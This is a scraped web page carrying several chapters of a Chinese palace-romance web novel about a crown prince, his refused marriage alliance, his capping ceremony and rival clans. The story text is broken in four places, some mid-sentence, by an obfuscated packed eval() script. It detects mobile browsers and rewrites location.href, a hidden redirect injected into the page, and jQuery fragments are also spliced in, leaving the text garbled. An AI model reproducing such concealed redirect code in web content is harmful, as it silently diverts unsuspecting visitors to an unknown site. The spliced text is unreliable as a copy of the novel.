;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756072|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
监们静静地站在其他地方,传膳上菜,各司其职。
谢凝荷与谢家的贵妇人在角落的案边,因着偏僻,无人在意,谢凝荷吃得欢畅,拈了块奶糕在手上。
庆帝巡视一圈,视线定在一个地方,和颜悦色道:“这……是不是谢家的小女儿?”
谢凝荷乍然被天子点名,吓得手里的奶糕,抖下不少糠屑。
她到底是出身大家,在谢家贵妇人的眼神鼓励下,谢凝荷放下奶糕,款款站起身,大大方方地走到晚宴的中心,向庆帝行了一礼。
“不错,是花容月貌的小女儿,谢家人养得很好。”庆帝满意地点点头,那打量之色,分明是看儿媳的眼神,“今年有多大了?”
谢凝荷不敢不答,脆生生道:“快十六了。”
“那就是及笄了。”庆帝更满意了,他问,“皇后,你来看看,以为如何?”
窦皇后将细长的鎏金汤羹一搁,微微侧首,平静道:“谢家大小姐仪态万方,有大家闺秀的风姿。”
庆帝笑着:“那你觉得,她和衍儿站在一起,是不是郎才女貌?”
窦皇后没有立刻回答,今天的晚宴,她的情绪不高,此时说话音调没什么起伏:“臣妾觉得,衍儿的年纪太小,还不到谈婚论嫁的时候。”
全天下,最不希望刘之衍娶妻的人,大概就是窦皇后,除非刘之衍愿意娶窦家人。
在场的人听到窦皇后如此说,都不觉得意外。
庆帝笑意未减:“我衍儿还小?你刚刚没听朕说吗?他不小了!难不成,皇后想拦着不成?莫不是皇后心里有人选了?说一说,是哪一家的闺秀?”
窦皇后微微昂起下巴,头戴的金凤冠华光流转,她淡淡道,“陛下想让衍儿娶亲,臣妾这个做母后的,怎么会拦着?不过,事情最好还是一件一件地办。冠礼是男孩变成男人的标志,衍儿还未行冠礼,肩上还挑不起责任,此时娶妻,倒显得儿戏。”
庆帝脸色微沉,默不作声。
按照最古老传统的制度,男子二十方能行冠礼。
刘之衍不过十八岁,按窦皇后的说法,还得再等两年。
其实太子到底是先行大婚,还是先行冠礼,没有准数的。
可窦皇后明显有意见,她身后站着窦家,庆帝不能不纳入考虑。
傅太后把一盅汤羹放在一旁,颔首道:“皇后说的也不是没有道理,那就先让衍儿行冠礼。”
窦皇后眉心蹙了下,很快松开,她微微倾身道:“太后,衍儿的年龄还不到,这不符合祖制……”
傅太后笑着,打断她的话,“哀家一天比一天老,谁知道还能活多久?你刚才有一句话说得不错,冠礼标志男子踏入成人的行列。看到自己的孙儿长成一个男子汉,肩负重任,有什么比这更让哀家开心的?”
“若你们还懂得什么是孝顺,趁早把这件事办了。”傅太后看着窦皇后,目光锐利,“别等以后烧纸告诉哀家这件事,那时候哀家知不知道,还不一定!”
“臣妾不敢……”窦皇后立刻赔罪。
傅太后揭起桌边的丝帕,抖开了拿在手里,利落地摆了摆:“你们等得起,哀家没那么多时间,这个冠礼,办的越快越好。”
聊着刘之衍与谢凝荷的婚事,这两个当事人,从头到尾安静地听着,不能插嘴一句。
父母之命,放在古代,就如金科玉律一般,不可违抗。
应子清对此终于有了一点认识。
35. 第 35 章
宫灯缀着红流苏,漆黑的夜空中,大雪飞舞。
静宜苑的廊下,几波人分别站在不同的地方,等他们的马车过来。
谢凝荷被谢家人拘着,站在长廊的另一边。
应子清回头,只见谢凝荷望过来,满脸焦急,一直跟她挥手。
这是跟她说再见的意思?应子清纳闷,也跟谢凝荷挥挥手。
谢凝荷看见应子清的动作,眼神绝望了下,低头长叹一声。
谢家的马车,说话间就到了,谢凝荷只得与家人一同上了马车。
应子清紧了紧灵狐裘,仰着脸。
刘之衍站在前方,不声不响,她只能看到他高挑孑然的背影。
今天的刘之衍,好像很沉默。
他们的马车也来了,马夫往地上,放了张脚凳。
应子清踏上去,轻轻一跃,上了马车。
她掀开车帘,一回头,发现刘之衍没跟上来。
“太子殿下?”马夫出声询问。
“你们先回去。”刘之衍掷下这句嘱咐,转身走了。
“这……”马夫讶然,只得回过来同应子清商量,“您瞧,殿下不知道上哪去了。应司直,那咱们回去吧。”
刘之衍走得极快,转眼间,消失在拐角。
他不留一句话就离开,这种情况从未有过,应子清是愣了的,马夫还在等她的回话,她点下头:“好,我们先走。”
马夫把缰绳一拉,骏马扬了扬蹄。
应子清独自坐在马车里,来时烧的手炉早就冷了,她没心情重新点火。
落着雪,马夫不敢跑快,怕马蹄打了滑,车子摇摇晃晃的,走得慢。
没了手炉暖炉,车里冷得很快,风雪偷偷地往里吹。
应子清觉得这样的冷让人清醒,她掀开车帘,抱着膝盖,默默凝望夜空。
又到了满月时分,手中的绿玉佩电子光亮,一闪而过。
应子清对绿玉佩做过各式各样的测试,除了会在特殊的时间里闪光以外,没别的反应。
可是,闪烁的电子光,会给应子清带来安慰。
这样的光亮可以提醒她,她是这个世界的外来人,是匆匆过客。
父母之命,媒妁之言,那样的生活才适合刘之衍。
他需要谢家的势力,对抗窦家,对抗安景王,收拾那些隐藏的蠢蠢欲动的势力。谢家那边也盼望与太子联手,这种情投意合的联姻,对刘之衍才是最好的。
应子清攥紧绿玉佩,玉质坚硬的棱角,硌着她的手心,她却觉得这样的疼痛正正好。
她是来完成任务的,不该打扰刘之衍的生活。
静宜苑的厅中,烧着幽幽檀香。
内室有轻柔的诵经声,伴随木鱼有节奏的敲击。
直到最后一声木鱼声落下。
冷嬷嬷扶着傅太后,从内堂慢慢踱步出来:“这么晚了,你说谁来找哀家?”
“是太子殿下。”冷嬷嬷低声说。
“大晚上的,他不睡觉,来找我这个老太婆干什么。”傅太后按了按额角。
门口的两个小宫女,急忙打起帷幔。
小小的偏厅里,烛火摇曳,刘之衍早早坐着等候。
看见傅太后来了,刘之衍起身行了礼:“太后,孙儿来叨扰您了。”
傅太后看到他,没给好眼色:“你有什么话,白天大家都在的时候,为什么不说?非得单独来找哀家,我看,你准没好事。”
刘之衍仍然保持单膝跪地,没有起身:“孙儿是有一事,想请太后替孙儿作保。”
傅太后夜里的眼神不太好,含威的凤目,微微眯起:“你这动静,倒叫哀家害怕。你先把话说完,哀家再想想能不能答应你。”
“孙儿不想娶谢家女。”刘之衍抬起眼,和傅太后对视,“不只是谢家女,四大世家的女儿,我一个都不娶。”
傅太后沉吟片刻:“为什么?”
“孙儿不愿误人误己。”刘之衍回答。
傅太后摇了摇头:“这不是真正的理由。”
“这是最大的理由,孙儿心有所属。”刘之衍语气坚定。
“心有所属?”傅太后不由冷笑一声,“你是太子,不是普通的少年郎,哀家以为,你从小就明白这个道理。谢家女与你门当户对,你们联姻对东宫有利,谢家这么趁手的兵器,你不要?”
“不要。”刘之衍平静道。
“谢家女是皇后金口玉言钦点的名门闺秀,家世无可挑剔,等你及冠,娶了她,是你的福气。”傅太后慈眉善目,神色透着难以违逆的威严,“多余的话,哀家当你没睡醒,到哀家这里胡言乱语来了,回去休息去吧。”
刘之衍摇头:“太后不答应孙儿,孙儿绝不会离开。”
“胡闹!”傅太后语气带了几分冷意,“衍儿,你是太子,你的婚姻大事,不是你一个人说了算。难道你想违抗哀家的意思?忤逆你的父皇!”
刘之衍嘴唇紧抿,丝毫没有退缩的意思。
“衍儿,”傅太后眉心紧蹙,缓缓道,“哀家知道,你从小是把事情藏心里的人,即使受了天大的委屈,你也一声不吭。哀家看在眼里,疼在心里。你并非莽撞的人,既然跑到哀家面前,自有你的理由。”
“可这件事非同小可,稍有不慎,你连命都保不住,难道要你父皇白发人送黑发人?”傅太后眼神闪过一丝锐利,“听着,即使有了谢家,你都不能算站稳脚跟。你的路,长远着呢!你连第一步都没走稳,根本谈不上未来!”
半晌,刘之衍眼眸深邃,直视傅太后:“可是太后,您有想过吗?谢家人如果有本事把我扶上去,就有本事把我推下来。‘夫唯嗜鱼,故不受也。夫即受鱼,必有下人之色……’,韩非子这个典故,太后也读过。我堂堂东宫太子,岂能因为向别人借势,露出谄媚之色?”①
刘之衍生来有一股孤傲之气,正如傅太后刚才所说,他常年被人灌下安神汤,也不屑向任何人求助。还是她自己听了一些消息,亲自到东宫整顿。
傅太后不禁打量起刘之衍:“有傲气是好事,可你能如何?”
幽火映着刘之衍俊美的侧脸,勾勒出他清冷的轮廓,他一字一句道来:“‘恃人不如自恃也’,与其依赖他人,不如依靠自己,这个道理,想必太后比我更懂得。我的路再难走,必须由我自己走出来。”①
傅太后被他的气势震得亮起眸子,纤长的手指轻轻敲打扶手:“你倒是有几分胆魄。可你有没有想过,你孤立无援,孤军奋战,又怎能守得住东宫?”
刘之衍很快反驳:“若是东宫只能靠联姻才能站稳脚跟,那便不配称之为东宫。若我连这一点自信都没有,如何能让天下人信服?”
傅太后又动怒了:“你这孩子,读了点书,学会拿道理堵住哀家的嘴!这世间的事,哪有你想的那么简单?”
刘之衍神色沉静:“太后,我不想一辈子被外力牵制,更不愿成为旁人手中的傀儡。”
“不愿意!难道我们走到今天这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765887|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一步,都是靠事事如意不成!”傅太后高声道,可是她的态度,显然没有刚才那么坚决,“你刚才说什么心有所属,到底是谁家的女子,把你勾成这样?”
刘之衍抿了嘴角,生硬道:“没有,我不会告诉你是谁。”
“好,你不肯说名字,知道保护她!”傅太后连连点头,“柿子拿软的捏,你知道哀家信佛,不愿意杀生,就算查出来了,也不会动你的心上人——算计哀家来了!”
傅太后抽出一张绣着素雅的丝绢,按住突突直跳的太阳穴:“说吧,你们到哪一步了!”
刘之衍顿了顿,眼神微微暗下来:“没有。”
“没有是什么意思?”傅太后挑了挑眉。
“她、她……”刘之衍说不出个一二三,“我不希望她以为我会娶别家的女儿,我希望提前为她铺平道路……”
“听听你说的胡话!”傅太后气笑了,“原来只是你有意,人家姑娘什么都不知道,是不是?”
刘之衍垂着眼,默不作声。
这个时候的他,看着,倒有少年在心仪的少女面前,手足无措的窘迫感。
傅太后到底是过来人,一眼看透,故意刻薄道:“恐怕没那么简单,你喜欢人家,人家不愿意搭理你,是不是?”
“太后。”刘之衍无可奈何。
傅太后气得直挥手,赶他离开:“你今晚就是来消遣哀家的,回去,哀家给你闹得头疼。”
“请太后作保,许我不娶谢家女。”刘之衍没拿下保证,不肯罢休。
“娶不娶的,要看你自己。若是你真有你所说的能耐,哀家懒得管你的事。”接着,傅太后意味深长道,“你有真心,也有能力,那就保护好她。否则,用不着哀家动手,你父皇知道了,定会诛杀此女!”
“谢太后成全。”刘之衍深深行礼。
夜深人静,宫女们闭紧门窗,扣下铜锁。
寝殿内,冷嬷嬷重新点了支香,走了过来:“太子殿下是长大了。”
“也变了。”傅太后嗅着那冷香,长长叹息,“你发觉了吗?过去的衍儿,性子孤僻,脾性难测,活死人一样,只不过是胸口存着一口气。我当他一辈子如此,无人能解。如今,竟然跑到我面前,说什么自己的路,要靠自己走出来。”
傅太后说到这里,不禁笑了:“傻里傻气的。”
“是很不一样,有气势了,看着叫奴婢害怕。”冷嬷嬷跟着笑。
“皇帝之前跟我说,衍儿有了很大的进步,我还半信半疑的。”傅太后秀美的双眼,噙着笑意。
她欣喜于刘之衍的转变,却又担忧他的未来。
“太后的意思,是太子殿下说的那位女子,改变了他?”冷嬷嬷听出话外之音,迟疑道,“有一温柔女子相伴,难道不是好事。”
傅太后看着陪伴自己多年的心腹,眼中透着复杂:“衍儿从小就不是一个普通孩子,皇帝那么熬着他,都没拗过他那性子。如果真是这位女子改变了衍儿,你觉得,那女人,会是寻常之辈吗?”
冷嬷嬷小心翼翼道:“太后是担心……?”
“担心?我要担心的事情多了!衍儿变得有野心,也变得更加贪婪。他不仅要权柄,还要爱。可这世上,尤其是皇家,最不能奢望的就是感情!”傅太后摇了摇头,“天子,哪有那么好当的!衍儿想走的路,远比我们给他安排的,更难走。”
冷嬷嬷笑起来,忍不住叹息道:“是啊,所以太后,趁早休息,明儿早再替他们操心。”
36. 第 36 章
马童拢着手,躲在马厩的避风之处打瞌睡。
听得阵阵疾驰的马蹄声,马童睁开稀松的眼。
冒风雪策马而归,刘之衍下了马,信手将缰绳一扔。
骏马没人骑没人牵,欢快地继续往前跑,马童连忙跑去追,好不容易拉住缰绳。
宫娥们得了消息,瞌睡都醒了,连忙迎出来。
刘之衍回沐云居的一路上,都有两三个宫娥跑在后面。
“回去,不必跟着。”刘之衍说着话,推门进去。
屋内空空,应子清没在暖阁那张小床上,刘之衍撩开层层帷幔,仍找不到人影。
回来的时候,他特意看了眼马车,她应当安安全全回来了才是。
只听轻微的水流声,哗啦拨动。
刘之衍朝温泉的方向看过去。
在房间与温泉之间,竖着一架宽宽的绣屏,由薄薄一层缎面做成。
少女赤身的朦胧影子,透在上面。
应子清回来后觉得风吹得冷,便想在温泉里泡泡,驱驱寒气。她刚刚沐浴完,正在擦头发。
不知道有人站在外间,少女的身姿自然而放松,胸前隆起的线条柔软动人。应子清随意挽起一缕长发,捡起一块方巾裹着。摆弄间,不盈一握的薄薄腰身,笔直修长的腿,在薄光的缎面上,交替着晃动。
少女轻盈的轮廓,仿佛笼了层月白的纱,朦朦胧胧,如梦似幻。让人想一窥究竟,然而拼尽全力,也难睹全貌。
刘之衍站在房间的这一侧,长久地凝视绣屏上的剪影。
见到这一幕,以他的学识教养,他应该迅速回避才对。
可是他不愿意,连眼睛也不愿意移开,想多看一会。
只是不凑巧,他的影子,也落在绣屏上。
应子清的视线,不经意扫到远处的黑影,她吓了一跳,匆忙抓起亵衣往身上一掩:“谁在外面?”
刘之衍也被她的声音吓了一跳,呆在那里。
“刘之衍,是你吗?”应子清问。
“嗯。”刘之衍低声答应。
“回来了怎么不说一声。”应子清套上亵衣。
幸好她洗澡还算快,要不然撞见了多尴尬。
绣屏上的影子重新晃动。
刘之衍看到她穿上纯白的亵衣,乌发随意披散在腰际,赤着一双足,就要从屏风后走出来。
应子清出来了,亵衣的领口一向舒适宽松,她露出一段雪白修长的脖颈,轻巧清晰的锁骨。
方才还想一探究竟的刘之衍,心脏忽地突突跳动。
隔着这么远的距离,他似乎能闻到她白肤上的香气。
应子清一对上他的眼睛,第一次觉得,刘之衍看她的眼神,迫人可怕。她想从他身边走过去,此时被如此骇人炙热的目光看着,她竟僵在那里,不敢随便动作。
也是头一回,她觉得,男女之间是该有一些回避,这人的目光怎么如此莽撞危险!
两人石化似的,彼此呆住。
因为诡异的沉默,气氛变得粘稠暧昧。
应子清垂着眼,躲避着他的视线,她的脸颊耳垂烧着一抹绯红,红得厉害。
不知道是被他看的,还是刚才温泉蒸出来的。
刘之衍的喉结清晰地滑了下,察觉到应子清的羞恼,他又认真多看了几眼,缓慢转身:“我不知道你在这里……”
“没事,我用完了,不打扰你了,早点休息吧。”应子清莫名觉得懊恼,又觉得亵衣单薄,不够抵御刘之衍的视线。她想抓件厚厚的外衣,把自己藏起来。
“子清。”刘之衍叫住她。
应子清站住了,背对着他,没有出声。
“不用担心,”刘之衍声线清冷,“我不会娶谢家女。”
应子清本来心乱如麻,硬着头皮,嘴快地回了句:“我为什么要担心,我犯不着担心这个。”
想起她之前那句不喜欢,刘之衍眼底闪过一丝脆弱,冷冷道:“听到我和谢氏联姻,你是不是很高兴。”
刘之衍话里夹着纠缠。
大晚上的,难道跟他计较?应子清不想理他,着急离开。
刘之衍没追上来,成功逃掉,应子清按了按因为气喘而起伏的心口,不知道自己到底在烦闷什么。
锦被沾染沉香的气息,但没能让埋在被子里翻滚的应子清沉下心来。
不知道自己到底睡着还是没睡着,等她一睁开眼,天光蒙蒙亮了。
既然议定了冠礼,太常寺与礼部皆派了官员过来,一早便在花厅里等候。
一左一右,坐了礼部的潘侍郎,与太常寺的刘少卿。
刘之衍换了身轻便的紫衣,来到厅中,与两位潘刘官员商议。
有正经事要忙,昨夜两人那说不上的别扭,顾不上了。
吉时,服饰,制定当日行冠礼的步骤行程。事情多且繁琐,礼部和太常寺带来的文书,笔耕不辍,匆匆记下一些要点。
这场冠礼之前的准备,轰轰烈烈地忙了起来。
其实他们在这里聊的,不能作数。之后要挨个请示宰相圣上,要送去钦天监一观,占卜凶吉,十分郑重。
一天的时间远远不够,这两位官员来来去去,几乎把沐云居的门槛,磨到光滑可鉴的地步,才勘堪初拟了一份奏折。
应子清这边,同样忙碌。
窦皇后想知道刘之衍的近况,招了她两次。
在窦皇后与乌嬷嬷面前,应子清一字未隐,实话实说。
不是应子清老实,而是她们没问到点上。
窦皇后对谢凝荷十分在意,左右敲打,问了不少关于谢凝荷与刘之衍的事。
若是问谢凝荷与刘弘煦,应子清还能说上几句,可这两人,确实没什么可谈的,她搜刮记忆,也不过寥寥几件事:“在一起玩过投壶,偶尔碰见过,打过招呼。”
乌嬷嬷问:“可是私下见的?”
“没有,”应子清摇头,“他们每次遇见,都是大庭广众之下,有许多人在。”
“私下一句未聊过?有没有给过香囊、手帕之类的?”乌嬷嬷又问,“这些算得上定情信物!”
她倒是送过刘之衍香囊……?
应子清心里奇奇怪怪地闪过这个念头,嘴上答道:“没有。”
乌嬷嬷又举了例子,问太子有没有给谢凝荷送过东西,应子清还是说没有。
乌嬷嬷眉心紧皱,喝问应子清,佯装诈她:“今日之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774350|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事,关乎重大,皇后面前敢有一句谎言,哪怕只是闪烁其词,我定叫你口舌含火碳!你最好乖乖如实道来!”
应子清并不受威胁,不卑不亢道:“奴婢所说,皆是实话。任谁去打听,也是如此,这两人的确清清白白。”
应司直女官的气势拿得十足十,乌嬷嬷不禁信了七分。
“果真干干净净。”窦皇后若有所思。
两人从应子清嘴里问不出什么,面上不露情绪。
乌嬷嬷挥手,叫应子清下去。
应子清巴不得一声,利落告退。
她耳朵尖,踏出门槛后,仍听到冷风传来一句,窦皇后的轻声细语:“可惜了。未出阁的小姐,名声上有了污点,想嫁人就不容易了,天家门楣更是想都别想……”
应子清匆匆疾走的脚步,猛地怔住。
在暖玉琼台门口守候的宫女太监们,奇怪地望过来。
应子清顿了顿,不露痕迹地垂下眼,继续往门口走,可她的心中,泛起劫后余生的不安感。
她自己不在意名节,是因为她微不足道,无人在意,且又是受过现代教育的洗礼,并不看中这种事。
从小在大晋朝长大的贵女,不可能不看重此事。即使她们不在意,她们所处的环境与身份,也要求她们以此为重。
今日谈话,她虽然没有办坏了事,可她到底缺乏经验。
要知道,古时候的少女,如果被污蔑了名节,是会投河轻生的。
若是今天她一个疏忽不慎……
思及此处,应子清冷汗遍生。
这些天,因着来往的官员太多,沐云居的大门没关上过。
应子清回去的时候,看见马蹄车轮在雪里的留下乱乱的印子,看来今日太常寺和礼部又来过了。
刘之衍不喜欢吵闹,见完客人,必定会在暖阁里焚香坐一会。
应子清走进暖阁,果然看见刘之衍坐在那里,握着一卷书在看。
应子清在他面前坐下,茶水不喝,将手搭在扶手上撑着下巴,小脸忧郁,半晌不开口。
“你从母后那里回来,可是有什么事?”刘之衍抬起眼,看她。
应子清去窦皇后那里,从不瞒他:“她问我谢凝荷的事。”
刘之衍不感兴趣,又去看他的书。
“……”应子清加重语气,“问你和谢凝荷的事,你难道不关心吗?”
“你自是什么都说不出来。”刘之衍不咸不淡道。
“你当然没事,这对一个未出阁的小姐,难道是好事?”应子清发愁道,“若是她嫁的夫婿,不是今日议论之人,会怎么想?”
刘之衍没作声,静静看着她。
“谢凝荷还那么小。”应子清又愁了一句,“她不该被人非议。”
见她满脸认真,刘之衍笑了声:“你不要把她想得十分柔弱,这点议论,困扰不了她。谢凝荷是谢家的大小姐,她的婚姻大事,是一枚待价而沽的上等筹码,这是她出生以后,就懂得的事。”
“你不要这么看着我,”刘之衍想了想,决定告诉她一些真相。
随后,应子清才知道,谢家女与太子联姻这条未作实的小道消息,在长安城传得沸沸扬扬。
37. 第 37 章
在说清楚谢凝荷的婚事前,却要说起,朝中近来闹得沸沸扬扬的一桩案子,窦谢两姓的中书舍人之争。
大晋朝的中书舍人是五品官,品级将将跨过天堑壁垒,看似寻常,却是一个极其惹人眼热的官职。
曾有专门阐述官职的书籍,点评中书舍人这一职位:“……以其地在枢近,多承宠任,是以人因其位,谓之凤凰池焉。”①
大意是说,中书舍人经常在皇帝面前刷存在感,容易受到皇帝的信任。
如果担任中书舍人的,有真材实料,那可谓前途无量,是孵化凤凰、飞黄腾达至关重要的起点。
因为中书舍人的下一站,极有可能是权倾朝野的宰相。
历史上做宰相的多,但从中书舍人一路做到宰相的,非常稀有,名垂千古的可能性很大。
就好像年年拿第一的高考状元,要比高考才拿到状元的人,感官上要强不少。
除了官职本身前途无量以外,因为这个职位,涉及到帮皇帝拟草圣旨。因此担任此职位的人,大多文采斐然。做了这个官儿后,他们在文坛上的声望与资历,都会得到进一步承认,以后就是文化圈里,名动一方的名士了。
这种又能刷声望,又有前途的肥美职位,自然不是一般人努力一下就能考上。
非得是有拔萃出群的过人之处,经过常年的考核,才有资格进入竞选名单。
但即使是万里挑一,吏部挑出来的候选人,仍是群星璀璨。
经过一茬一茬极为严苛的筛选标准,最终通过吏部铨选的两个沧海明珠,就是从窦谢两姓出来的。
一个叫窦知微,一个叫谢言昭,皆是十八芳华的天才少年。
“窦谢两家子弟众多,又有累世封荫。每次吏部出缺,这两家自是虎视眈眈,各施手段。”刘之衍将朝中的内情,闲闲道来,“不过这两位青年才俊,当得上稀世之才,即使是在窦谢两家,也是百年难遇。”
“这么厉害?”应子清吃了一惊。
刘之衍放下书卷,认真道:“他们两个,自然得到窦谢两家的倾力培养。他们的族人竭尽全力,想把他们放进中书舍人这口‘凤凰池’,盼望他们扶摇直上,再度振兴家族的荣耀。”
“但中书舍人只有一个……”应子清补了下半句。
“当窦谢二人,家世相当,文采智谋相当,连吏部也难以从中抉择,犹豫不决,”刘之衍淡淡道,“这个时候,谢家打起了别的主意。”
应子清联系前后,终于听懂了:“所以谢家人特意带上谢凝荷,去温泉别宫。所以你们的婚约,哪怕不是真的,谢家人仍要把消息散布出去,因为他们想为谢言昭的铨选造势……”
难怪谢凝荷那天冲她摆手,大概是想跟她解释,这些事,不是表面看起来的那样。
“没错,”刘之衍说,“若是谢言昭的亲妹,有可能成为将来的太子妃……吏部自然不愿意得罪未来的国舅,铨选到最后,花落谁家自是不言而喻。”
应子清沉吟点头:“怪不得窦皇后想从中作梗,哪怕毁去谢凝荷的名节……”
“母后也是无奈之举,剑走偏锋罢了。”刘之衍见她感兴趣,有心多说几句,“这位窦知微,恐怕会落选。”
“为何这么说?”应子清好奇道。
“窦知微的出身不好,应该说极差。”刘之衍的语气并无一丝鄙夷,只有淡淡惋惜,“窦家的子弟看不起他,公然对外说,他是小妾生的。其实真实情况更差,窦知微的母亲是官伎,他甚至被怀疑过血统。只因为他越长大,与他父亲窦靖十分相似,这个怀疑才渐渐止息。”
刘之衍慢条斯理,娓娓道来:“一开始,窦家没有一个人在意他。是有一次机会,窦家族长窦展,偶然发现此子有过目不忘的本领。窦展生了惜才之心,准许他进窦家的学堂。从此以后,窦知微仿佛一日千里。”
“养尊处优的世家子弟,个个自命不凡,哪里能容忍窦知微这种卑贱之人,如此聪慧。他们的想法很简单,活得比他们差的人,也应该比他们笨。”刘之衍面沉如水。
“这个叫窦知微的,大概过得很辛苦。”应子清抿了抿嘴。
“这些世家大族暗地里使的肮脏手段,超过你的想象,”刘之衍摇了摇头,不欲多说,“窦知微的名字,也能看出他的不易。别人或许以为,知微二字,取得是‘知微见著’之意,说他能以一个小的细节,看到事情宏大的实质,是极好的寓意。然而,我却亲耳听见窦家人,对窦知微说出这个名字的来历,他们要窦知微永远记住,他是从卑微之处而来,即使来日高官显爵,他永远摆脱不掉他的来时路。”
应子清听得叹气。
谢家人齐心协力为谢言昭造势,而窦知微却被族中人暗暗拖后腿,怪不得刘之衍觉得,窦知微会落选。
连窦知微此人的名字来历都知道,应子清奇怪道:“你为何知道这么多?”
“此人可得一称号,‘奇才’,他的文采亦是聪慧高妙。”刘之衍缓声道,“一个聪明至极的天才,长于恶劣的环境,没有蒙尘,仍然大放异彩。可惜他是窦家人,否则真想将他收入我的阵中。”
这难道是天才之间惺惺相惜?
应子清对另一位候选人,也有点好奇:“那谢言昭呢?他难道很平庸?”
“倒也不是,吏部铨选,向来极尽挑剔,能被他们通过的人,绝非等闲之辈。”刘之衍解释,“谢言昭当得起‘光明正大’四个字。”
谢言昭已是贵极荣极,前途光明璀璨,想拉拢他就不容易了。
应子清却望着他瞧,这是她第一次听到,刘之衍有过招贤纳士的想法。
若刘之衍毫无野心,哪里会对朝中势力动向如此了若指掌,他这是想坐稳他的太子之位了!
长安城的谢家女要成为太子妃的传言,传得有鼻子有眼,仿佛确有其事情。
骊宫这边,刘之衍的冠礼,马不停蹄地准备着。
若是按照惯例,他们这一行人理应回长安,在太极殿或是东宫举行。但考虑皇帝太后的身体抱恙,加之刘之衍本人的强烈要求,最后一切从简。
骊山有座恢弘的正殿,是皇帝处理公务的正式场地,此地重新做了修缮,用作加冠的场所。
瑞雪霏霏,将天地铺洒得雪白纯净一片。
五品官员之上,服绯色官服的文武重要官员,以及皇室宗亲皆在。汉白玉石阶下方,众位官员,排列得整整齐齐,严肃恭正。
刘之衍着明黄太子衫,在宰相及三师的带领之下,走向庆帝。
庆帝端坐高堂,一身极为正式的衮冕之服,接受刘之衍及百官的跪拜。而后,庆帝赐给刘之衍一枚铜鱼符。
这个赠礼,没有被写入流程,因此刘之衍十分吃惊。
“这是一枚可以号令千人的铜鱼符。”庆帝只是微微笑着,眼中藏着期许与严厉,并不多言。
既然从此有参政的责任,自然也有保卫疆土的责任,手中无兵不成事。
庆帝允许刘之衍今后拥兵千人,这是十分他信任的表现,刘之衍心中感怀,他神情一肃,恭敬一拜。
皇帝与太子之间和谐如此,于江山社稷,是莫大的祥瑞。
连这漫天的飞雪,也有了吉祥的寓意,仿佛启示未来将会风调雨顺,家国安宁。
在场百官目睹这一切,无一不为之动容。
站在东宫官署这一列的应子清,遥遥打量众人的脸色,端庄大方的窦皇后,与一脸疏离的安景王,都把情绪收得极好,看不出喜怒。
正殿的礼仪,走了整整一上午,下午是相对自由的活动时间。
作为有责任有担当的男人,骑射需要经受一番检验,刘之衍要去骊山猎场,做射礼开场。
这种场面,礼仪性质很重,太子所骑的白骏马,马身花里胡哨地披了层明黄锦缎,长长地垂下,笼马的缰绳,也是由象征高贵的紫绳所系。
射礼是沿着道路跑几圈,刘之衍需要在奔跑中,射出三箭。
箭矢越是靠近靶心,说明他的骑术射技越好,难度系数非常高。
要是射偏了,落在地上,也没有重来的机会,同时,这一幕会被史官记录在案,供后世嘲笑。
如果是胆子小,对自己技术不自信的人,早就闹着取消这项射礼。
之前礼部的官员,作过这方面的暗示,刘之衍没有拒绝,反而欣然接受。
长角吹奏,仪式开始。
换了身短打皮裘的刘之衍,额间束了明黄发带,箭筒里装了三枚白孔雀长尾羽,在飞扬的雪中疾驰。
刘之衍纵马的速度十分快,明黄发带在空中划出灵动的弧线,当他跑了一圈适应下来,便开始搭箭拉弓。
这是他的强项,不需要如何认真,仿佛信手一拉,箭矢在顷刻间,飞向红色靶心。
有侍卫极快的跑过去验靶,高声禀报:“正中靶心!”
刘之衍射出三箭,侍卫报了三次“正中靶心”!
欣赏到这一幕的官员们频频点头,脸上流露淡淡笑意。
即使看到这么激动喜人的一刻,现场仍旧安静严肃,这里是不允许欢呼吼叫的,不然应子清真想替他喊一嗓子。
刘之衍玩得这一复古又庄严的射礼,实在太帅!
周围聚集了一些武将、公子哥或是小武士,今天他们可以到这个骊山猎场,秀一下自己的武艺。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784535|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>今日的猎场里,放了不少奇珍异兽,即使没有被高官看中,打一两只回去,也是一顿难得的美味佳肴。
